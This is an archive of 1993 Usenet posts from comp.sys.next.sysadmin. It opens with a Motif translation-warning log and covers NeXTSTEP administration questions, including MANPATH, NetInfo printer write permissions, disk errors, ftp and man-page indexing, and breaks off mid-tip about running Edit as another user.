Warning: translation table syntax error: Unknown keysym name:
osfPrimaryPaste
Warning: ... found while parsing ' <Key>osfPrimaryPaste:
copy-primary()'
Warning: translation table syntax error: Unknown keysym name: osfCut
Warning: ... found while parsing ' Meta <Key>osfCut:
cut-primary()'
Warning: translation table syntax error: Unknown keysym name: osfCut
Warning: ... found while parsing ' Alt <Key>osfCut:
cut-primary()'
Warning: translation table syntax error: Unknown keysym name: osfCut
Warning: ... found while parsing ' <Key>osfCut:
cut-clipboard()'
Warning: translation table syntax error: Unknown keysym name: osfPaste
Warning: ... found while parsing ' <Key>osfPaste:
paste-clipboard()'
Warning: translation table syntax error: Unknown keysym name: osfCopy
Warning: ... found while parsing ' Meta <Key>osfCopy:
copy-primary()'
Warning: translation table syntax error: Unknown keysym name: osfCopy
Warning: ... found while parsing ' Alt <Key>osfCopy:
copy-primary()'
Warning: translation table syntax error: Unknown keysym name: osfCopy
Warning: ... found while parsing ' <Key>osfCopy:
copy-clipboard()'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing ' Shift Ctrl <Key>osfBeginLine:
beginning-of-file(extend)'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing ' Ctrl <Key>osfBeginLine:
beginning-of-file()'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing ' Shift <Key>osfBeginLine:
beginning-of-line(extend)'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing ' <Key>osfBeginLine:
beginning-of-line()'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' Shift Ctrl <Key>osfEndLine:
end-of-file(extend)'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' Ctrl <Key>osfEndLine:
end-of-file()'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' Shift <Key>osfEndLine:
end-of-line(extend)'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' <Key>osfEndLine:
end-of-line()'
Warning: translation table syntax error: Unknown keysym name: osfPageUp
Warning: ... found while parsing ' Ctrl <Key>osfPageUp:
page-left()'
Warning: translation table syntax error: Unknown keysym name: osfPageUp
Warning: ... found while parsing ' Shift <Key>osfPageUp:
previous-page(extend)'
Warning: translation table syntax error: Unknown keysym name: osfPageUp
Warning: ... found while parsing ' <Key>osfPageUp:
previous-page()'
Warning: translation table syntax error: Unknown keysym name: osfPageDown
Warning: ... found while parsing ' Ctrl <Key>osfPageDown:
page-right()'
Warning: translation table syntax error: Unknown keysym name: osfPageDown
Warning: ... found while parsing ' Shift <Key>osfPageDown:
next-page(extend)'
Warning: translation table syntax error: Unknown keysym name: osfPageDown
Warning: ... found while parsing ' <Key>osfPageDown:
next-page()'
Warning: translation table syntax error: Unknown keysym name: osfClear
Warning: ... found while parsing ' <Key>osfClear:
clear-selection()'
Warning: translation table syntax error: Unknown keysym name: osfBackSpace
Warning: ... found while parsing ' ~Meta ~Alt <Key>osfBackSpace:
delete-previous-character()'
Warning: translation table syntax error: Unknown keysym name: osfDelete
Warning: ... found while parsing ' Shift Meta<Key>osfDelete:
cut-primary()'
Warning: translation table syntax error: Unknown keysym name: osfDelete
Warning: ... found while parsing ' Shift Alt<Key>osfDelete:
cut-primary()'
Warning: translation table syntax error: Unknown keysym name: osfDelete
Warning: ... found while parsing ' Shift ~Ctrl ~Meta ~Alt <Key>osfDelete:
cut-clipboard()'
Warning: translation table syntax error: Unknown keysym name: osfDelete
Warning: ... found while parsing ' ~Shift Ctrl ~Meta ~Alt <Key>osfDelete:
delete-to-end-of-line()'
Warning: translation table syntax error: Unknown keysym name: osfDelete
Warning: ... found while parsing ' ~Shift ~Ctrl ~Meta ~Alt <Key>osfDelete:
delete-next-character()'
Warning: translation table syntax error: Unknown keysym name: osfInsert
Warning: ... found while parsing 'Ctrl Meta<Key>osfInsert:
copy-primary()'
Warning: translation table syntax error: Unknown keysym name: osfInsert
Warning: ... found while parsing ' Ctrl Alt<Key>osfInsert:
copy-primary()'
Warning: translation table syntax error: Unknown keysym name: osfInsert
Warning: ... found while parsing ' Shift ~Ctrl ~Meta ~Alt <Key>osfInsert:
paste-clipboard()'
Warning: translation table syntax error: Unknown keysym name: osfInsert
Warning: ... found while parsing ' ~Shift Ctrl ~Meta ~Alt <Key>osfInsert:
copy-clipboard()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing ' ~Shift <Key>osfSelect:
set-anchor()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing ' Shift ~Ctrl <Key>osfSelect:
key-select()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing ' <Key>osfActivate:
activate()'
Warning: translation table syntax error: Unknown keysym name: osfAddMode
Warning: ... found while parsing ' <Key>osfAddMode:
toggle-add-mode()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp:
Help()'
Warning: translation table syntax error: Unknown keysym name: osfCancel
Warning: ... found while parsing ' <Key>osfCancel:
process-cancel()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' Shift Ctrl <Key>osfLeft:
backward-word(extend)'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' Ctrl <Key>osfLeft:
backward-word()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' Shift <Key>osfLeft:
key-select(left)'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' <Key>osfLeft:
backward-character()'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' Shift Ctrl <Key>osfRight:
forward-word(extend)'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' Ctrl <Key>osfRight:
forward-word()'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' Shift <Key>osfRight:
key-select(right)'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' <Key>osfRight:
forward-character()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' Shift Ctrl <Key>osfUp:
backward-paragraph(extend)'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' Ctrl <Key>osfUp:
backward-paragraph()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' Shift <Key>osfUp:
process-shift-up()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' <Key>osfUp:
process-up()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' Shift Ctrl <Key>osfDown:
forward-paragraph(extend)'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' Ctrl <Key>osfDown:
forward-paragraph()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' Shift <Key>osfDown:
process-shift-down()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' <Key>osfDown:
process-down()'
Warning: translation table syntax error: Unknown keysym name: osfCancel
Warning: ... found while parsing '<Key>osfCancel: MenuEscape()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' <Key>osfLeft:
MenuTraverseLeft()'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' <Key>osfRight:
MenuTraverseRight()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' <Key>osfUp: MenuTraverseUp()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' <Key>osfDown:
MenuTraverseDown()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing '<Key>osfHelp: Help()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing '<Key>osfSelect:
KeySelect()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing ' <Key>osfActivate:
KeySelect()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp: Help()'
Warning: translation table syntax error: Unknown keysym name: osfCancel
Warning: ... found while parsing ' <Key>osfCancel:
CleanupMenuBar()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing '<Key>osfSelect:
KeySelect()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing ' <Key>osfActivate:
KeySelect()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp: Help()'
Warning: translation table syntax error: Unknown keysym name: osfCancel
Warning: ... found while parsing ' <Key>osfCancel:
CleanupMenuBar()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing '<Key>osfSelect:
ManagerGadgetSelect()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing ' <Key>osfActivate:
BulletinBoardReturn()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp:
ManagerGadgetHelp()'
Warning: translation table syntax error: Unknown keysym name: osfCancel
Warning: ... found while parsing ' <Key>osfCancel:
BulletinBoardCancel()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing '<Key>osfActivate:
BulletinBoardReturn()'
Warning: translation table syntax error: Unknown keysym name: osfCancel
Warning: ... found while parsing ' <Key>osfCancel:
BulletinBoardCancel()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing '<Key>osfSelect: ArmAndActivate()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing ' <Key>osfActivate: ArmAndActivate()'
Warning: translation table syntax error: Unknown keysym name: osfCancel
Warning: ... found while parsing ' <Key>osfCancel:
MenuShellPopdownOne()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing '<Key>osfSelect: ArmAndActivate()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing ' <Key>osfActivate:
ArmAndActivate()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp: Help()'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing 'Shift Ctrl <Key>osfBeginLine:
ListBeginDataExtend()'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing ' Ctrl <Key>osfBeginLine:
ListBeginData()'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing ' <Key>osfBeginLine:
ListBeginLine()'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' Shift Ctrl <Key>osfEndLine:
ListEndDataExtend()'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' Ctrl <Key>osfEndLine:
ListEndData()'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' <Key>osfEndLine:
ListEndLine()'
Warning: translation table syntax error: Unknown keysym name: osfPageUp
Warning: ... found while parsing ' Ctrl <Key>osfPageUp:
ListLeftPage()'
Warning: translation table syntax error: Unknown keysym name: osfPageUp
Warning: ... found while parsing ' ~Ctrl <Key>osfPageUp:
ListPrevPage()'
Warning: translation table syntax error: Unknown keysym name: osfPageDown
Warning: ... found while parsing ' Ctrl <Key>osfPageDown:
ListRightPage()'
Warning: translation table syntax error: Unknown keysym name: osfPageDown
Warning: ... found while parsing ' ~Ctrl <Key>osfPageDown:
ListNextPage()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing ' ~Shift <KeyDown>osfSelect:
ListKbdBeginSelect()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing ' ~Shift <KeyUp>osfSelect:
ListKbdEndSelect()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing ' ~Ctrl Shift <KeyDown>osfSelect:
ListKbdBeginExtend()'
Warning: translation table syntax error: Unknown keysym name: osfSelect
Warning: ... found while parsing ' ~Ctrl Shift <KeyUp>osfSelect:
ListKbdEndExtend()'
Warning: translation table syntax error: Unknown keysym name: osfActivate
Warning: ... found while parsing ' <Key>osfActivate:
ListKbdActivate()'
Warning: translation table syntax error: Unknown keysym name: osfAddMode
Warning: ... found while parsing ' <Key>osfAddMode:
ListAddMode()'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp:
PrimitiveHelp()'
Warning: translation table syntax error: Unknown keysym name: osfCancel
Warning: ... found while parsing ' <Key>osfCancel:
ListKbdCancel()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing '~Ctrl ~Shift <Key>osfLeft:
ListLeftChar()'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' Ctrl ~Shift <Key>osfLeft:
ListLeftPage()'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' ~Ctrl ~Shift <Key>osfRight:
ListRightChar()'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' Ctrl ~Shift <Key>osfRight:
ListRightPage()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' Shift <Key>osfUp:
ListExtendPrevItem()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' ~Shift <Key>osfUp:
ListPrevItem()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' Shift <Key>osfDown:
ListExtendNextItem()'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' ~Shift <Key>osfDown:
ListNextItem()'
Warning: translation table syntax error: Unknown keysym name: osfBeginLine
Warning: ... found while parsing '<Key>osfBeginLine: TopOrBottom()'
Warning: translation table syntax error: Unknown keysym name: osfEndLine
Warning: ... found while parsing ' <Key>osfEndLine: TopOrBottom()'
Warning: translation table syntax error: Unknown keysym name: osfPageUp
Warning: ... found while parsing ' <Key>osfPageUp: PageUpOrLeft(0)'
Warning: translation table syntax error: Unknown keysym name: osfPageDown
Warning: ... found while parsing ' <Key>osfPageDown:
PageDownOrRight(0)'
Warning: translation table syntax error: Unknown keysym name: osfHelp
Warning: ... found while parsing ' <Key>osfHelp:
PrimitiveHelp()'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' ~Shift ~Ctrl <Key>osfUp:
IncrementUpOrLeft(0)'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' ~Shift ~Ctrl <Key>osfDown:
IncrementDownOrRight(0)'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' ~Shift ~Ctrl <Key>osfLeft:
IncrementUpOrLeft(1)'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' ~Shift ~Ctrl <Key>osfRight:
IncrementDownOrRight(1)'
Warning: translation table syntax error: Unknown keysym name: osfUp
Warning: ... found while parsing ' ~Shift Ctrl <Key>osfUp:
PageUpOrLeft(0)'
Warning: translation table syntax error: Unknown keysym name: osfDown
Warning: ... found while parsing ' ~Shift Ctrl <Key>osfDown:
PageDownOrRight(0)'
Warning: translation table syntax error: Unknown keysym name: osfLeft
Warning: ... found while parsing ' ~Shift Ctrl <Key>osfLeft:
PageUpOrLeft(1)'
Warning: translation table syntax error: Unknown keysym name: osfRight
Warning: ... found while parsing ' ~Shift Ctrl <Key>osfRight:
PageDownOrRight(1)'
Working data will be in .Data
but after that the motif window is there and everything works fine. I'd
like to know what to fix although it's just annoying but does not prevent
to use the full fonctionnality of Splus
--
Jean-Fran ois Boisvieux |jfb@biomath.jussieu.fr
Departement de Biomathematiques |(NeXT mail welcomed)
Faculte de medecine Pitie-Salpetriere |
75013 Paris |
France |
========================================|=========================
Newsgroups: comp.sys.next.sysadmin
From: luis@elysia.fdn.org (Luis Arias)
Subject: Re: problem with MANPATH.
Message-ID: <1993Mar26.155525.7699@elysia.fdn.org>
Sender: luis@elysia.fdn.org
Organization: Elysia - Rueil_Malmaison, France.
References: <1osp7c$fjj@menudo.uh.edu>
Date: Fri, 26 Mar 1993 15:55:25 GMT
In article <1osp7c$fjj@menudo.uh.edu> sears@tree.egr.uh.edu (Paul S.
Sears) writes:
> In article <9303251633.AA21971@gaul.csd.uwo.ca> Gregory W. Gee
> <gee@gaul.csd.uwo.ca> writes:
> # I am having a problem setting the MANPATH in my environment. I
thought
> #that I set it properly but it doesn't seem to have any effect. I only
> #have two man directories. I set it with:
> #
> #set MANPATH = '/usr/man:/usr/local/man'
> #
> # What's the problem with this?
> #
>
> If you are using csh then it should be:
>
> setenv MANPATH /usr/man:/usr/local/man
>
>
> If you are using sh then it should be:
>
> MANPATH="/usr/man:/usr/local/man";export MANPATH
>
> I hope this helps...
>
>
Hey, thanks a lot for this post. I had been having trouble with that too
!
---
Luis Arias
President
Elysia, Inc.
23, rue Buffon
92500 RUEIL-MALMAISON
FRANCE
[33] (1) 47 49 61 96
[33] (1) 47 14 99 08 fax
luis@elysia.fdn.org
--
Luis Arias
President
Elysia, Inc.
23, rue Buffon
From: glenn@wheat-chex.ai.mit.edu (Glenn A. Adams)
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin
Subject: Using ALT Key as META
Date: 27 Mar 1993 14:50:28 GMT
Organization: MIT Artificial Intelligence Laboratory
Message-ID: <1p1pjkINNbm1@life.ai.mit.edu>
Could someone tell me how to get the ALT key on the new NeXTStation
Turbo keyboards (the one with the green power button and nice Command
bar) to operate as META in GNU Emacs in the Terminal application?
No matter what I do with Terminal preferences or the VT100 emulation
mode, I can't seem to get it to work correctly. If I set the VT100
emulation to have ALT generate ESC sequences, then that's just what it
does... generate an entire sequence, one having nothing to do with the
key pressed; e.g., I get the following:
M-@ esc 6
M-A esc nul
M-B esc 0
M-C esc p
M-D esc stx
M-E esc nul
M-F esc \
M-G esc [
.
.
.
This is awfully annoying, and I'm sure (I hope) that there's something
simple that will fix it.
Direct replies please,
Glenn Adams
Newsgroups: comp.sys.next.sysadmin
Subject: Limiting swapfile size
Message-ID: <1993Mar27.120733.6412@msuvx2.memst.edu>
From: slusse@next1.msci.memst.edu (Ellen L Sluss)
Date: 27 Mar 93 12:07:32 -0600
Distribution: world
Organization: Memphis State University, Memphis TN
Any application which uses large amounts of virtual memory naturally causes
the swapfile to grow, and with a large enough appetite will cause it to grow
either to the hiwater mark or to the limit of the file system. Both
alternatives essentially make the system unusable - a reboot is required to
continue (this is NS2.1 on an 040 cube).
What have any of you done to manage this problem? Even if you aren't doing
anything about it now, do you have ideas on how it might be managed?
--
Ellen Sluss
e-sluss@memst.edu
Dept of Math Sciences, Memphis State University, Memphis, TN 38152
Newsgroups: comp.sys.next.sysadmin
From: aboba@netcom.com (Bernard Aboba)
Subject: Compiling nslookup on NeXT?
Message-ID: <netnewsC4K7HD.ICL@netcom.com>
Keywords: BIND, DNS, nslookup
Sender: netnews@netcom.com (USENET Administration)
Organization: Netcom - Online Communication Services (408 241-9760 guest)
Date: Sat, 27 Mar 1993 18:03:11 GMT
I am trying to make nslookup using the BIND 4.8.3 release, and am
having no success. I followed the directions in the DNS and BIND book
by O'Reilly & Associates, but on compiling nslookup and the name
server give errors. The name resolver appears to compile just fine,
though. Has anybody tried this?
Newsgroups: comp.sys.next.sysadmin
From: mark@xexos.com (Mark Chamberlain)
Subject: Re: NetInfoManager, Printer and NS3.0
Message-ID: <1993Mar27.163226.6098@xexos.com>
Sender: news@xexos.com
Organization: Xexos, Ltd (London)
References: <1993Mar26.160256.5376@mic.ucla.edu>
Date: Sat, 27 Mar 1993 16:32:26 GMT
In article <1993Mar26.160256.5376@mic.ucla.edu> aoki@madonna (Ken-ichiro Aoki)
writes:
> Fellow NeXTers,
>
> I have a question about NetInfo in NS3.0; When you use the NIManager,
> it seems that any user (who can run NIManager) can change
> the properties+values in the local printer directory.
> When you try to save, it does not anthenticate and just saves it.
> Is this a bug? Or did we just screw up and set up something wrong?
> We can certainly make NIManager 750 or 700 (together with all
> the /usr/bin/ni*) but I'd rather not do this unless it's necessary.
>
I'll email, but as its important enough here, post too.
There was a CERT message about this from Alan Marcum at NeXT, though it was
something we'd seen before (we actually thought it was some neat trick in
netinfo, but it turned out to be simpler than this).
Open the domain that contains the printer.
Double click on the printers directory (not a printer, the directory itself).
The directory will have two properties, "name" and "writers" - writers will be
set to "*", which is the problem in hand. Remove the * and replace it with
"root" or whoever the user you want to be able to change the printers are. I
think it should respond to a group-name like @sysadmins, but don't quote me on
that part.
Alan_Marcum@next released a script that would run round the netinfo domains and
fix this in all places. I have it somewhere, and can email it to people if
necessary.
Mark
--
Mark Chamberlain +44 71 237 4535
Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
Newsgroups: comp.sys.next.sysadmin
From: pdg@chinet.chi.il.us (Paul Guthrie)
Subject: Severe disk wierdness
Message-ID: <C4KwBB.CFB@chinet.chi.il.us>
Organization: The League of Crafty Hackers
Date: Sun, 28 Mar 1993 02:59:34 GMT
I just added a HP97544SF SCSI drive externally to my NS 3.0
Turbo Color Slab. I did the usual login as root, answer
the "Initialize" prompt affirmatively, then let the disk
get initialized and mounted. I then copied over a bunch of
files onto the mounted disk. All looked well.
When trying to start up a couple of apps, they failed immediately
with very strange errors in the console. I tracked them down
to the fact that the sum's were wrong on the binaries, which
seemed to be very strange.
If I just mount up the newly newfs'd drive, then copy /mach onto
the drive as mach1 .. mach20, then do a sum mach*, I get
*different* sum's each time. Furthermore, if I fsck the disk,
using /dev/sd1a, it always finds lots of errors, but a
fsck of /dev/rsd1a is always clean. In any case, this disk
seems to work fine through the character driver, but fails
miserably through the block driver. Unfortunately, I am
lacking docs for this drive (any help on the jumper settings
here would be appreciated), so I can't disable the two things
that might be worth trying.... synchronous reads and the on
board cache. Also... this disk was working fine on an ISC
Unix (PC w/Adaptec 1542A) system.
Any ideas? I'm stumped.
Thanks,
Paul
--
Paul Guthrie
paul@nsacray.chi.il.us or uunet!usorder!pdg
From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Compiling nslookup on NeXT?
Message-ID: <1993Mar28.053642.29776@csus.edu>
Date: 28 Mar 93 05:36:42 GMT
References: <netnewsC4K7HD.ICL@netcom.com>
Sender: news@csus.edu
Organization: San Francisco State University
In article <netnewsC4K7HD.ICL@netcom.com> aboba@netcom.com
(Bernard Aboba) writes:
>I am trying to make nslookup using the BIND 4.8.3 release, and am
>having no success. I followed the directions in the DNS and BIND book
>by O'Reilly & Associates, but on compiling nslookup and the name
>server give errors. The name resolver appears to compile just fine,
>though. Has anybody tried this?
Yeah, eons ago. Anonymous FTP from sutro.sfsu.edu [130.212.15.230],
pub/NeXT-BIND-4.8.3-src.tar.Z (No guarantees about its usefulness
under 3.0.) Binaries and documentation are also available.
[Why did you post this to .sysadmin?]
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: flog@open.ch (Florian Gutzwiller)
Subject: DialUpIp with 38400/ISDN ?
Message-ID: <1993Mar28.163144.6652@chsun.chuug.ch>
Sender: news@chsun.chuug.ch (News Administrator)
Organization: CHUUG Swiss Unix Systems Users Group
Date: Sun, 28 Mar 1993 16:31:44 GMT
We're running TranSys SLIP over a 38400 ISDN Terminal Adapter. It now seems,
that with MTU set to 256 it works fine compared to 1006 causing a hang after 5
minutes. Can anybody comment on this behaviour?
Thanks
-Florian
--
Florian Gutzwiller Tel: +41 61 262 05 10, Fax: +41 61 262 05 10
Open Systems AG flog@Open.CH
Basel, Switzerland S=gutzwiller;O=open;P=EUnet=A=EUnet;C=CH
From: shuque@microsupport.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: You don't exist. Go away
Message-ID: <115952@netnews.upenn.edu>
Date: 25 Mar 93 22:27:22 GMT
References: <1993Mar25.174425.17860@ens.fr> <1993Mar25.203409.7048@leland.Stanford.EDU>
Sender: news@netnews.upenn.edu
Organization: University of Pennsylvania
In article <1993Mar25.203409.7048@leland.Stanford.EDU> rick@indeed.stanford.edu (Rick Stanley Francis) writes:
>In article <1993Mar25.174425.17860@ens.fr> dicosmo@dmi.ens.fr (Roberto
>DiCosmo) writes:
>> Sorry to bug you people with this annoying problem.
>> We have several NeXT here, and on some of them when you try
>> to talk to somebody you just get:
>>
>> You don't exist. Go away.
>
>I had this problem when I used steward instead of terminal, I believe that
>the cause is that stuart doesn't use ttys while terminal does.
>
The problem has to do with the fact that Stuart doesn't update the utmp
file which includes information about logged in users, unless it is
installed setuid root. The docs have information on how to do this. In fact
it is a small program 'slog' within the Stuart app wrapper that has
to be setuid root.
talk (and some other programs) look for the users entry in the utmp file
and if not present assume some mischief and respond with that message ..!
--Shumon.
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.unix.questions,comp.sys.next.sysadmin
Subject: Ftp with .netrc question
Message-ID: <1p4qnh$2of@steffi.demon.co.uk>
Date: 28 Mar 93 18:28:01 GMT
Organization: me organized? That's a joke!
How can you make my .netrc let me log into any machine with anonymous
ftp?
Currently if I specify "machine hostname" it will only execute the
commands providing the machine hostname matches the host im currently
connected to in an ftp session. What I would like is to be able to
set it up so that I can just anonymous ftp anywhere.
From: gseidman@math16.math.umbc.edu (gseidman@math16.math.umbc.edu)
Newsgroups: comp.unix.questions,comp.sys.next.sysadmin
Subject: Re: Ftp with .netrc question
Date: 28 Mar 1993 23:37:07 GMT
Organization: University of Maryland, Baltimore County Campus
Message-ID: <1p5cr3$fkf@news.umbc.edu>
References: <1p4qnh$2of@steffi.demon.co.uk>
In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes:
>How can you make my .netrc let me log into any machine with anonymous
>ftp?
>
>Currently if I specify "machine hostname" it will only execute the
>commands providing the machine hostname matches the host im currently
>connected to in an ftp session. What I would like is to be able to
>set it up so that I can just anonymous ftp anywhere.
Once again, as many have said before, the only way to default to anonymous
login is to use ncftp, by Mike Gleason I believe. If you do not have a
.netrc entry for a host ncftp will automatically attempt an anonymous
login.
--Greg
Newsgroups: comp.sys.next.sysadmin
From: eric%basilisk@src.honeyell.com (Eric D. Engstrom)
Subject: (Unified) Digital Librarian ManPage index (was: setting up an index for DL)
Message-ID: <C4MnDz.GKz@basilisk.uucp>
Keywords: Digital Librarian, ixbuild, IXBuild, man page, index, hack
Sender: eric@basilisk.uucp (Eric D. Engstrom)
Organization: anonymous
References: <1993Mar26.073127.465@designimage.megalith.miami.fl.us>
Date: Mon, 29 Mar 1993 01:41:59 GMT
Dino Bagdadi <dino@designimage.megalith.miami.fl.us> wrote:
> I am trying to rebuild the index to my UNIX man pages (since I
> mistakenly deleted the one that came with 3.0).
> I want to have each entry the way it was before:
>
> command name- description of command
>
> Can anyone tell me what the command line for this might be under NS 3.0?
Short answer: RTM on ixbuild(1) - specifically the parameter "-g".
In addition, I'd like to inform the newsgroup of a simple hack I setup on
my own machine to create a unified DL target for all UN*X Manual pages
(including system, local, gnu, whatever). This was easier under 2.x
because IXBuild (pre IXKit) had more hacks in it...
Basically, you need to setup a directory with sym-links to the various
man-page directories; For example:
(397)basilisk% pwd
/LocalLibrary/Documentation/ManPages
(398)basilisk% ls -alg
total 728
drwxrwxr-x 2 eric wheel 1024 Mar 28 18:03 ./
drwxrwxr-x 11 root wheel 1024 Mar 27 00:41 ../
-rw-r--r-- 1 eric wheel 370 Feb 27 22:01 .README
-rw-rw-r-- 1 eric wheel 872 Feb 27 17:11 .dir.tiff
-rw-rw-r-- 1 eric wheel 20 Feb 27 17:11 .displayCommand
-rw-rw-r-- 1 eric wheel 47 Feb 27 17:10 .index.iname
-rw-rw-r-- 1 eric wheel 6 Feb 27 17:10 .index.itype
-rw-r--r-- 1 eric wheel 729088 Mar 28 18:44 .index.store
-rw-rw-r-- 1 eric wheel 5 Feb 27 17:11 .roffArgs
lrwxrwxrwx 1 eric wheel 18 Feb 27 17:53 gnu ->
/usr/local/gnu/man/@
lrwxrwxrwx 1 eric wheel 14 Feb 27 17:53 local ->
/usr/local/man/@
lrwxrwxrwx 1 eric wheel 9 Feb 27 17:53 news -> /news/man/@
lrwxrwxrwx 1 eric wheel 35 Feb 27 17:53 system -> /usr/man/@
(399)basilisk%
Notice that I also copied all the ".[a-z]*" files from the /usr/man/
directory as well.
Then, use ixbuild -gl to (re)build the index. If your any of the links
point to directories on other devices, add "d" to "-gl". "-v" will give
you verbose output (like my writing style ;-). RTM under ixbuild(1) for
more info.
Unfortunantly, once the index is built, I've never successfully gotten DL
to update it correctly. Instead I have to do it by hand using "ixbuild
-ogldvc" (actualy, I setup a cron job to reindex weekly.)
If you have troubles, try removing the .index.store file and rebuilding
the entire database. I've had intermittent problems with ixbuild under
3.0.
Good luck,
Eric
+------------
Eric D. Engstrom, Honeywell Systems & Research Center, Mpls, MN, USA
engstrom@src.honeywell.com -or- NeXT: eric%basilisk@src.honeywell.com
< I eat from the four food groups: Barley, Hops, Yeast, Water >
From: clloyd@gleap (Charles C. Lloyd)
Newsgroups: comp.sys.next.sysadmin
Subject: Tip: Run Edit as Another User
Keywords: su Edit groupware
Message-ID: <1993Mar29.004911.5633@gleap.jupnix.com>
Date: Mon, 29 Mar 1993 00:49:11 GMT
Sender: clloyd@gleap.jupnix.com
Organization: GiantLeap Software
Here is a tip which I have discovered recently which can save a lot of hassle
when doing system maintenance. This is also useful when two people are working
together at the same system, but have two different accounts. Also, I don't
want to learn vi, so this helps tremendously.
You can run Edit as any other user on your system and trick it to make it think
you're logged in as that user. This way, you have the proper file permissions
for reading and (especially) saving the files. (I find this particularly
